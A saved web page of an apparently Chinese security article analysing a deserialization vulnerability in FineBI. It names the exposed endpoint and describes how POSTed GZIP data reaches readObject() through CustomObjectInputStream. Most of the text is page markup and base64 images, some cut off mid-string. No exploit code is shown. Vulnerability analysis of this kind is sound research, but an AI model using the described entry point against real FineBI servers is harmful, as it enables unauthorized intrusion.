*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,d09GMgABAAAAAN3MAA4AAAAB3OQAAN1sAAQAxQAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACFQhEICobjZIW0WgE2AiQDkSoLiFwABCAFhwAHqx4/d2ViZgZbBYBxhnF7IVHRnVDqt/fSG4cZBbodREHF77duhex8Mb6j/fmp2f///78gWYzh7g+8R0BUdTpLW1Uzsp76hCzI4aYUR8pes2MocNQ2YvKKbApmLWu/bv7ALkc1B+aeVCsz1YrjaYsVnkxwJujIZWwn5gjVfIgmhc3in0QhmV5maXZNM1xTKb1RmAdM/OaNTl/mtoIrW/khyLhT5xe7bVH4fZGXVpFvuchr9JDG3Mcoh7mswgQxQVK8XUETf1CxbfHOtB+kxeznYk7Tc0VQvAs3ZHw4fkX+eKbZae3Ga4yTuqW4ivdfEynv1GrGUEu4OnTzzcjOrvA9euKJJn93ZAnl2I4SDS0d71OE52stez2NiwEECTzlA0CWsDwIHxnjUh747oQ+4/cPz8+ttyIXzTZiY4wxosaI3F8QvVEho0JSWt0kWiUlDEAMbFRUsJgZKGcUGHVmnTf/P6e9Zz8P5jE8wRUMwwiRViAUd39KoXMKlV2UsWpdN25qBwAP0n35Mpmf+bvg9ZtKfIuWauEin8QFPnQhqjHdubkgORdjw60F1Hm3BRSOpS8r3c6XU/9/JMdJqrGKafqQYMBQSgy6BEkN2ozu0jp/p5EMSdFJDElKASzB5dwOFDbt5x1Rt2WVqTHYdx+5Xp9Ufm9KBtkmlgURoo8tj////Z9a0ixLyWLsAGIB+Eoqp6lnC5QCOfox/PnFQ4BJkcOC2NkzE2qySKkd7EB0X2SssjuTJ374/zn7zhne2jm7fiUkyEiwBGin9SnjfqWFGqXyrNPtdoTk/iS7nvwSR9pOTPBCIAlSpUo50teOPKprzxRrm9+ChuQfqzJE8Bbl26JpGFbqfrX84LxQBx3aIebKK51pt3LCe3dPaIcrAGrDFXAd7qRJJ7W7e7L0z7L00hPYSSrgWlB0qYKDoXOBwQPRquJvWcPzc+sBI3pUj9GjxgIGG+yvAlaMBaxgY2PUYERvgIiAEiaIJ1NUPDFQwcLAujTqTr1QLioZ3GbIHTEdYnpCesfDy9dvB4B4+Vba/vPP6au23oy0eHeVXxgzGuGtTG1zt4lDgpCDCDHInDqlDmgAeK+jJZIEuJ9bmCpbL8Z0vvFwr84+jRRnNzOSkyPg6srryLIDS/CREjejVnMMEDioCIrqv3XCmO6lA/N4Lf1ua0oVVekIinqBkbCY5N/3nRqiAWisW2xsNBbsUxu11kXxz8lWB4c3sN3ekYiAEGAAByO382+qZQuQxImXstYh60J3LrpdOaX23OWinx9mwP//fAAzA5CcGYAkAFIiAEriDAiJAMndAQjqAJCgKWrvHpebtWs/re72nVaXEjCgtAQp6RHUJspJ2gupsq9yyLHo/Vy5u+v8rqhclS5d2qVdtLX/3nRVKsauMS47Z4JoNru6yNjUBvn73WqpW0jQLWxLIxDCSgwlBzcSzMxJwozQOiGBVpiZtY7hnPstYGiNbWEF5wTrxFmYdcxak56xPgku3HDDS8ILnYkuDi8MnQvCI3jcT216ZaMrjPl5GWYAIByhr51xVXZju0G5EtXIfqYwq7s4NLhgeu2nvYsxpRohhSTYCoItYM27+X/m/PxE6+tJNw9faWYRRohBDMIYh3z8h1yy6QEzqRlrM0ghSOsQ+ShkO2LOCgqadP5MQjyDih2k2EHqttndgXsdI1Oga0jEvEe50TXItrpN9NIEBcQhscEo44wiaoTxcU2AAvxdwsQC+Ppw/kum+fD5u8BrSYNSgIiihg2AMccnArqsYJ2gmNlhnADg/vHOjV6AesO+/MmrlN8grD8CAnD8ERERq2e4xrw61HwHQX8hVkPGCIADEJRmLCNsYzeTnAWcZnbH7osIzSEbGYvULv/7qJdPYalrqK/xvNrG/vmB3hmw4yOMWoM+4zyt158PeG80n4NP5BkGyRJu62dDPTINSpg2S/aEQH1fYmH9GoDFAURIy8JOAPQ+olD/RszU+DcQnfyXjKqKpWkxC3B+cn7qu+8P/zw8HGWmGhXmmMGhgEUOgwwppiB4OIEDmIPxlOSe+zqPfVuXeRqHvhveVZsW/nw1V6A6M4KhLcWhuFu/4O3fRKWuHfUc9G7G94SL4vR/rZ8Ub5iZP5cz9tlk/wtG9+s3PxmuMdIjm1qu7k+tQYQCZTRkuAtSmLSs0uOxI64zaboh3cTIf720EgwvjBKMYQmjxBNnkRyxseNc0nKZeZURGC+VioZVLFpliSPBSR6sepFcJRcWptiE61cRFstAMUgzXiIy9GFHp+YbdyPuTxi7mhkEy8HFEDtgQNiOpK3nWM1fDipB52FSVfCgaWZDZnBCmAEeY8qnhJXDtZpO3WARXEKSWONEF/OsMAUcncfXXJFOO07iwB9ZEC0Rx0w1XBF7LMNQps6RTRBgUkR4wysExmnkzVyanU2yQYoszPOCt7CyWSNhx2qJx6pQUFg9hF2rc4J4PRPD0s0/9mU9Xqti6iyt5m0wwu0LiQ7ss4x0xMnZYuElJ+YetZyQxFx641j/Yal5weLc8H/4fYKnutlzOe9R93rRMaSyJxXDwDOMtpVPhX8gHQkPZmFUmIukZ5itm4mgwdiCoXPLPt00dun4zJgyQ9WC7G9fKMSWv+rce6CmkNdcMj+29sKV6uuvzwGeYccKULEvDBbrFO98vT95Kr/X7EtB7aHcN4I8HwSyFyfYSQs5dWoQETxfhzg8XPRHDn4aAy4I0jgMd/YKhhTQGIIUaXr2SIGtQ7a8shpQ3Kd5HJl3uSm6jiggOo0lmJgU7BnW+tsbN8Ytnz/NF85mdb1xJBbSr53bKHWNFTs3NfjC7NyZs68AVT/AmfztCK2JuKyYoe3JQOL1Ez4+e4nP3Tznw51cp8n/f29xXJIeDFoytH2UdswpLxZj5TQ/jKFp0HleHN6iBgbGIDNIoG0AbzSe+hYvI/CmIZ9/+tzFx4LT+VwmKJiHptTdPu9IqvO/cQB4Z8WYj9vFB3NNh/CqqTs3L8sqbfk18wPSsZY1c3ac68eisCvjt+6GslRjWA1Zxq+qdEAqc7sJOkCYAQZdZAG6Znb2s8hRfrlyeWqbnEMQ6RI2UMe1AQiF2QdBy28lB0y3Y9QUnneWbXwuEZlXIjGOWtQT75f9QOantcglVhUBA9/nscgFUqkPfpE3sEQNV0z5MgnVbqu6yqG0r1FihEcFynAafHXrm5sP+HRIVMrrc83SlwaAHpUNNtGUAG/NorLNojJrBbedljpgk7Y8n6QG7/0NlwJtE+j0URxOmtVfeGtPSSRmNoSRyVr0HTRbX6Vk74l5MrdxqLL/wsT+m8xKkTi52Q2Vbxac4ZGt4Arfhrgb/AND4tFY3Xm/Toh0KeIA86aziD28hvsDsGZM3xLKLrjCGsjCSanjTV/lp53WIUI5X7DkOtim0kaMQABwbaw1JvjjCooVnahJrl2NbeOlHmQesdeWcDDm151Uw4itkyRyhHa+o8AqzpAolQfERlyYrXU8TcoyZc3bc2TTc9bOxCSFlgOR+CCm78ShGPMgUNHUVT+NGMgx9p5S8ojoislOGDXJ/HWbpevnAhZjcJG83YRHZrg4cCyLbyfJZI3zAA43Mui7Z//EogzN/udIIqnSdh6czyF/f34cAaTNOCJtklgk8XEIm2roZAY9panWtZblERHrIhdamihzQ9G2dGx+KoTBSBdtWsddqEJaROCI9aSpbRbbKkm2iJSmPo9YyQRe6KnaxDO5/G4Kofm8n6jc6PLyujtlEPm9TWjKBUTWEmENgIcjSPJu8Kez/W0AQSD+uunlV58AGIOEAnOKGdJJPzDL9PHxvFpS0+BkDk/hBSfK9wOjj9+TiDzPD9nA03EcaR0V+XC5e98nuyq4N5VTHJYHXyrmvTNVz2v8PaVPXoRE184+h7lQcjXseY0bfJd/5ctB
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media(prefers-color-scheme:dark){}@media screen and (max-width:768px){}@media screen and (max-width:768px){}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon><style>.sf-hidden{display:none !important}</style><link rel=canonical href="https://xz.aliyun.com/t/13389?time__1311=GqmxuiDQ0%3DD%3DitD%2FbriQLuAUsDkSaeF4D"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验，请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13389&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>Finebi反序列化漏洞分析</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/49725>
<span class="username cell"> yecp</span></a> <span class=i-seprator> / </span>
<span> 2024-01-24 19:34:20</span><span class=i-seprator> / </span>
<span>发表于浙江 / </span>
<span>浏览数 2984</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/1>技术文章</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/11>技术文章</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(1)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<h1 id=toc-0>Finebi反序列化漏洞分析</h1>
<h2 id=toc-1>反序列化</h2>
<p>/webroot/decision/remote/design/channel 处存在发序列化漏洞<br>
这个接口接收post传输的数据，会先经过GZIPInputStream解压缩GZIP格式数据<br>
<a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124161413-8f4949ca-ba90-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABUEAAACjCAYAAACkLN+OAADqO0lEQVR4nOz9d7BkV57Y+X3Ptel9Pm/KewdUoWAa3ehudPf0dI/p6dmZIYeklhySIrWhkCgTG7FSaINiaIOiFKGVVmtG4pIUuTO0wzFtpn2jATRcwZb3Vc+7fOkzb+a1R3/kq6pXDo0GCig0+nz+AurlzXvymnPv/d3f+R0hpZQoiqIoiqIoiqIoiqIoiqJ8QmkPuwGKoiiKoiiKoiiKoiiKoigfJhUEVRRFURRFURRFURRFURTlE00FQRVFURRFURRFURRFURRF+URTQVBFURRFURRFURRFURRFUT7RjHv94zsnT/Pnf/EtXjvxBvMLi4Rh+FG3S1EURVEURVEURVEURVEU5T3RdZ3JiXEeP36Mr/3mr3Hk8MHb/i7unB3+H/6jf8y/+w9/+pE2UlEURVEURVEURVEURVEU5UH5vd/5Ov/wv/wvbv7/bUHQv/v3/1f89KVXHkrDFEVRFEVRFEVRFEVRFEVRHpSnP/Uk//QP/xtgU03Qf/iP/rEKgCqKoiiKoiiKoiiKoiiK8onw05de4R/+o38MbGSCvnPyNH/1r//BQ26WoiiKoiiKoiiKoiiKoijKg/Vv/uifDzJB//wvvvWw26IoiqIoiqIoiqIoiqIoivLA/flffGsQBH3txBsPuy2KoiiKoiiKoiiKoiiKoigP3Gsn3hgEQecXFh92WxRFURRFURRFURRFURRFUR64+YXFQRA0DMOH3RZFURRFURRFURRFURRFUZQHLgzDW7PDK4qiKIqiKIqiKIqiKIqifBKpIKiiKIqiKIqiKIqiKIqiKJ9oKgiqKIqiKIqiKIqiKIqiKMonmgqCKoqiKIqiKIqiKIqiKIryiaaCoIqiKIqiKIqiKIqiKIqifKKpIKiiKIqiKIqiKIqiKIqiKJ9oKgiqKIqiKIqiKIqiKIqiKMonmgqCKoqiKIqiKIqiKIqiKIryiaaCoIqiKIqiKIqiKIqiKIqifKKpIKiiKJ9c8mE3QFF+yahzTlEURVEURVGUjynjYTfgl4UQFgYhUkYE6ilRuUlDmCaEPjKKHnZj7kGA0BCGAYGHlB/jY1foaHaaUilHzvbptZosrraJhHjYLVOUXxpSJiiOFcimdWSryfp6AyeE6GPcdSjKx4YEwxQIIAok4cNuz4dGoOk6mpDIMCRU/YOiKIqiKB8RFQT90OkILUnJGiEnevSDOhW/Q/9hN0t5+PQYWmyIeCmLdFbw2w38vv+wW3U7I4meKBErpJHtebxWh8APHnar7iJ0EyuRIz+2i2NHd7MjscbMuTOsrrbxHnbjFOWXSp7pg49xeE8WY+EKJ984zbVKl6YbEHwc3/MoyseImYgxWrRIENBp9lluR5+gQKiG0A3iyQS2ZRGP2xhRH2d9jaorVHqAoiiKoigfCRUE/bBpOfT4r/K3Jp9ij9XkyvoP+e7yD3lLquy0X3Z6bgep4/+AbYfLaLXvsPLSD1g5c4XwY5S5aIwcI3fsb7L1QI5o6T8w96MfU5tZ+li1UUqBnR1j+shn+PrndpAL11m90GCt0uTjF65VlE+6NtW1Oo2tkxx+9HPsObCbV7/1LV6+VGGpo6KginI/mq4x9cRe/tbjWQ4YTU6/Pcd//c11GprgE3Hm6DHM3DTHv/g0j24fYiit0549w8nv/Ue+O4N6SaIoiqIoykfilyMIKhJI/Ri/M/4Y48EpzjVe4wfd1rsuIsUOjhSO89nSXoY3/Xuv9wanGi/xF63197RqTWiYWpK40JFBnXbQoPawXneLOFNby/zm10bYinj3ne86rM2v8s++scY68GHkJ+qTz5Lfe5RipkL1h/+CRhuCT07Kw88mIyLfJRIS4ftE4QMqlKDHMHf/dcb3bSeVT9z2p2D+W6ydfYvafPW9fVcUEgUukQaR5xJF0cfuYcwsbmP7oUf5wmNDJCpv8OOXznJlvkKl1SPSNgVr4zmOHinzq0/mGeJeQdwI2a/x7W8t8eZsj+rHJ877nslEku3jCbamI5qLNU5WJP677TDNIJlNcuSRER6ZjDOa1jGiiG6jy+JchRdONlnoRPTudWDaMcrlJEcmTHoLFc5UQhruh/XLlIdFCIGZTvP0vjwHh22KwqO13uBfv9KkEsq7rg1C67J6+S1eWF/iypadPP2ZR9j7zGfxxMu8eXaexQ9tGIRAUmZ7agsjRh+nf513+u37flrqh3iq+BiPJQJajW/zr5tVvI9zuY+Pm3iS8vQw/9mXS+Q0gX6fj9VmV3j7rTn+4vovz7aViSS7J5NMxAMaS3Xeqcj3XA4i8ENCKQmjCN+LPjkv8qQgWRhm56c/z5O7EkSrVzl/bp25hUUWaqpchqIoiqIoH51fjiAoJsLcwvbEDsq9y8yI9zBAVkAYufT8Jk10MMfZEcsThpe4Lt77k76MOvjuT/nLlQskqVPpL1K5ZwDmIyAlYeDTaXs0AR3Qk3FKhThbUpK1+QbLPUk/BDyPVi8gkBL5IWX9iVgJq7SdZNGmbcDHKLnwIxF1l+mf/zcs1FKI7gzOahX5QI4NifQ7+L0mnuWCsNHMEonpCax+CStmvedvChuX6Z7+Y+ZWEsjmJbq11od2PLwvIs3olm3s2zNMIVzk9Z+8yelrFda7Pv4dD1VShnheQLvtYQuBkU+zo2Ri9fusrXVZ7kXgBfR/keuwxRNs3T7EZ8dCFoIGZ6vh/YOgUqc4kuPRx8b41T0pbM+l50Z46GSHCkyNJxnNLvLdNxqcXfHo3bHbpR2jPFHi848nqIk6862IhqueZD8xJJi2SXE4w5M7cxwetignTWJSpxx1iQkQEu7uskLcbgu37+I4Hr7I8OXPjLNj7zaarTZrlxr4H1YXYmxnb/Zx9uoLzESzvPMuAVdhjDAS38HOWI2rov+wrsq/uHQdKxVn55Ys8XqT5ZpPrX/3+d9yAnp3dsafdIkUO3aVeaLgMhM0Ob0evqcgn4wk1SuLfKu7zkvCpbrm0BOflGHiNrFEnvGpIoXoGq+cPsXZ62usOz16XYF6/6AoiqIoykfllyIIKjSdmF0mJSLcsEs7+NmpKEJWWXZO8nJwFVPYWKkvkjdszKBD0+++53VL2SPwzvL6x6IwoU+j1uSVn3qcBjTAGilxaF+JcTNi9vQCP61E1DwgDOg5fdqIX9yA0MecdOv4iz+lurjpHx/Ek3gUEK69QcO9SMfWQeTQ04cYGRvB/nnb6Kzgzq5QmX0A7fowpEeZnBpnOhvQvHya188tUw3uzk4DEH6fxdl1fuy0iGsaqd3TpONJMtUGZ95e4ZUqELrMN3ycj/p3PCimRa6QZHokIEgJ9Hc5nmQszthUkc8cyrO1X+EHZxpcXQ/oaSb5oSyHjwzz6KMhayt91usuM94dX2YYJDIJtoylSWQ07Pulgim/kIRtURzO8Nn9eY6WBM1KhxknRj5rkH8vXxC69BvLXHr7DaZ3fZVHRyeZnlrh4rU6K+GHEXIU6NYkE/FpxmWDFfnuLyttM0tSNxBRl6rfJfqEhJoehubiGq9f6HC+evc2dDt9avWH0KiHyTLJF1JMD+v0ku/9Ba+Uks5KlddXNv3jJyY6r6PrFvGYQPTXWVpaYX6phvOJ+X2KoiiKovyieGhBUENLkTLLFPUeDa+PFDYxPY6tCYQMcMM6jaCHE4WbHk0EcXOIrG5jyjZVt04PNv4uMLUUGatMTnSounU6kU8AGEKnZJeIaQ71UOJTYiSWJKHpIAO8sEUr6NCONg1HlnWqbp2qC5qWpGh9jp7s4ocOrSDk3e5Mdb1MyUyS1jdv3oi+v0bT79C+77OWQBMJUkaKpB7DFhq6kITSoxc0aQd9ejL8AI9qId2Ow4Xzt0I8cTdOZjxPOBJQma9yajZiaXOM+EHcoOoJ9HgGM5FAM3SEDIh6daT1boefBpqNkcpjxGLohg5IZOgS9Zv4X
然后对经过解压缩后的数据利用CustomObjectInputStream进行包装，再调用readObject()方法实现反序列化<br>
<a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124161736-081d6a84-ba91-1.png><img src=data:image/png;base64,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
CustomObjectInputStream继承ObjectInputStream，其构造方法调用父类的构造方法，和正常反序列化差不多<br>
